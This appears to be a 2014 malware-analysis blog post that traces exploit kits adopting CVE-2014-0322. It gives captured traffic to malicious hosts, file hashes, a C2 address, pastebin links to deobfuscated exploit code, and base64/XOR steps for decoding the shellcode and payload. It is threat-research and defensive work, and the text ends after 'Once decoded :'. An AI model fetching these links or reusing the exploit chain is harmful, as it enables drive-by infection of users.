CVE-2014-0322 integrating Exploit Kits

It took more times than I thought, but here we are : CVE-2014-0322 is now in Exploit Kit. Seems to be first in Infinity  Fiesta.

Infinity EK :

Thanks Timo Hirvonen for fixing my ugly approach to that one.

Successful pass in Win7 with Flash and ante kb2925418 2014-03-24

GET http://saarbangers-metal-festival .de/201403/br/573133020.htm
200 OK (text/html) 

Piece of Encoded CVE-2014-0322 and call for helper http://pastebin.com/4dYArqEH

CVE-2014-0322 after deobfus http://pastebin.com/VzHCR56A

GET http://saarbangers-metal-festival .de/swf.swf
200 OK (application/x-shockwave-flash)  e8693573caecf1cab91aa578e1d62ab0 Swt Helper

GET http://saarbangers-metal-festival .de/6084.swf
200 OK (application/x-shockwave-flash) CVE-2013-0634

GET http://saarbangers-metal-festival .de/6084.swf
200 OK (application/x-shockwave-flash)

GET http://saarbangers-metal-festival .de/9073.mp3?rnd=75091
200 OK (application/x-msdownload)

GET http://saarbangers-metal-festival .de/9073.mp3?rnd=60183
200 OK (application/x-msdownload)

Files :2 fiddlers (OwnCloud)
You'll find a pcap too on the nice Traffic Malware Analysis.

Fiesta :

2014-03-25 - Thanks EKWatcher for Referer.

Fiesta : Successful pass in Win7 IE10 with Flash and ante kb2925418 2014-03-25

GET http://bgpjterlrw.no-ip .info/mycxql2/counter.php?id=2
301 Redirect to http://bgpjterlrw.no-ip.info/mycxql2/?2

GET http://bgpjterlrw.no-ip .info/mycxql2/?2
200 OK (text/html) http://pastebin.com/mxWFtG83



GET http://bgpjterlrw.no-ip .info/mycxql2/?1723d0e41c0f5f6458545f08560b54050501050b5f0407040a0201005509060705
200 OK (text/html) http://pastebin.com/znN5J1nU <- CVE-2014-0322 

Partial Decoding of the components to exploit CVE-2014-0322

"Ladyr" : Once Deobfuscated : http://pastebin.com/qVafD361
"Felt" Shellcode : http://pastebin.com/w22nNLg8

Following  EKWatcher guidelines :
Base64 decode on the "Felt" parameter

piece of Base64decode (felt)

Opening the output in a Disassembler :

in diStorm

or send the output online (thanks Ben Layer)
http://www.onlinedisassembler.com/odaweb/CIUwSY

B64 decoded shellcode in online disassembler

Figuring that it's 0x20 Xored you can then see for instance the payload URL :

Xor 0x20 on B64 decoded "Felt" parameter

GET http://bgpjterlrw.no-ip .info/mycxql2/?533de2b2f35a74c55c50555f570953030105045c5e0600020e060057540b010102
200 OK (application/x-shockwave-flash) 881a4d9fd2902e0af4e4a06bbc6ba63a <- Flash Helper

GET http://bgpjterlrw.no-ip .info/mycxql2/?1f210081f3d41f5b5216590a020b0900055005090b045a010a53010201095b0206;7
200 OK (application/octet-stream) - 98f29794b29c7a90cfc6af778a3d503c Redyms/Ramdo

Files : Fiddler

FlashPack : 

Successful CVE-2014-0322 pass in FlashPack : 2014-03-27

GET http://sldhuskd.fdshfghtsffdfdg .net/probdrew/vertes/allow.php
200 OK (text/html)

GET http://sldhuskd.fdshfghtsffdfdg .net/probdrew/vertes/js/pd.php?id=68656c6c6f303332322e636f6d
200 OK (text/html)

POST http://sldhuskd.fdshfghtsffdfdg .net/probdrew/vertes/get_json.php
200 OK (text/html)

GET http://sldhuskd.fdshfghtsffdfdg .net/probdrew/vertes/msie.php
200 OK (text/html) <-- CVE-2013-2551

GET http://sldhuskd.fdshfghtsffdfdg .net/probdrew/vertes/link2jpg/index.php
200 OK (text/html)

http://pastebin.com/BxhPytN3

Once decoded :

Code targeting CVE-2014-0322 in FlashPack http://pastebin.com/SKSQBwB7

GET http://sldhuskd.fdshfghtsffdfdg .net/probdrew/vertes/link2jpg/e56d2.swf
200 OK (application/x-shockwave-flash) Flash Helper : f9e1338083a03d1b965ce8502c109372

GET http://sldhuskd.fdshfghtsffdfdg .net/probdrew/vertes/link2jpg/Erido.jpg
200 OK (image/jpeg)


Same file name and Xor key (95) as when this 0day has been first spotted live.

Erido.jpg after xor 95 pass.

It will also split in two  with same name :

Dropped in %temp%\low

c139ca52a05605926087a86a44c9f860 contacting : 

kilensis.com /terkas/audio/loadmsie10.php
176.102.37.5543918 | 176.102.32.0/19 | IPSYSTEMS | UA | IPSYSTEMS.COM.UA | TK IPSYSTEMS LTD.

and  here is the second file :


Files :Fiddler and samples  (OwnCloud)

Angler EK :

Successfull pass for CVE-2014-0322 in Angler EK 2014-03-28

GET http://callositfrenavisseque.teampac12 .com/s0dd2c8vc3
200 OK (text/html)

Piece of the code targeting CVE-2014-0322 in Angler EK 2014-03-28 http://pastebin.com/PqrdhTnK

Once decoded :